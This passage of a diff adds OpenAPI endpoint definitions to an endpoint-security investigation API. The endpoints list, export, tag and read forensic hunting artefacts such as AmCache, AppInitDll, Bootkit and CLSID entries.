+      operationId: data_investigation_hunting_AmCacheAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AmCacheAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AmCacheAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/AmCacheAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AmCacheAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AmCache'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AntivirusScan/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AntivirusScan_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AntivirusScan'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AntivirusScan/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AntivirusScan_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AntivirusScan/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AntivirusScan_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/AntivirusScan/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AntivirusScan_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AntivirusScan'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AntivirusScanAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_AntivirusScanAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AntivirusScan'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AntivirusScanAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AntivirusScanAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AntivirusScanAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AntivirusScanAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/AntivirusScanAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AntivirusScanAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AntivirusScan'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AppCertDll/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppCertDll_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AppCertDll'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppCertDll/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AppCertDll_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppCertDll/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AppCertDll_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/AppCertDll/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppCertDll_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AppCertDll'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AppCertDllAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_AppCertDllAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AppCertDll'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppCertDllAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AppCertDllAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppCertDllAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AppCertDllAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/AppCertDllAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppCertDllAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AppCertDll'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AppCompatInstalledSDB/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppCompatInstalledSDB_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AppCompatInstalledSDB'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppCompatInstalledSDB/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AppCompatInstalledSDB_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppCompatInstalledSDB/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AppCompatInstalledSDB_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/AppCompatInstalledSDB/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppCompatInstalledSDB_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AppCompatInstalledSDB'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AppCompatInstalledSDBAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_AppCompatInstalledSDBAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AppCompatInstalledSDB'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppCompatInstalledSDBAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AppCompatInstalledSDBAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppCompatInstalledSDBAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AppCompatInstalledSDBAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/AppCompatInstalledSDBAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppCompatInstalledSDBAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AppCompatInstalledSDB'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AppInitDll/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppInitDll_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AppInitDll'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppInitDll/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AppInitDll_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppInitDll/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AppInitDll_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/AppInitDll/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppInitDll_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AppInitDll'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AppInitDllAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_AppInitDllAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AppInitDll'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppInitDllAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AppInitDllAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AppInitDllAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AppInitDllAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/AppInitDllAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AppInitDllAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AppInitDll'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Bootkit/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Bootkit_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Bootkit'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Bootkit/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Bootkit_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Bootkit/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Bootkit_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Bootkit/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Bootkit_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Bootkit'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/BootkitAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_BootkitAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Bootkit'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/BootkitAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_BootkitAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/BootkitAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_BootkitAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/BootkitAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_BootkitAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Bootkit'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/CLSID/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_CLSID_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/CLSID'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/CLSID/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_CLSID_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/CLSID/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_CLSID_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/CLSID/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_CLSID_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CLSID'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/CLSIDAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_CLSIDAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/CLSID'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/CLSIDAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_CLSIDAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
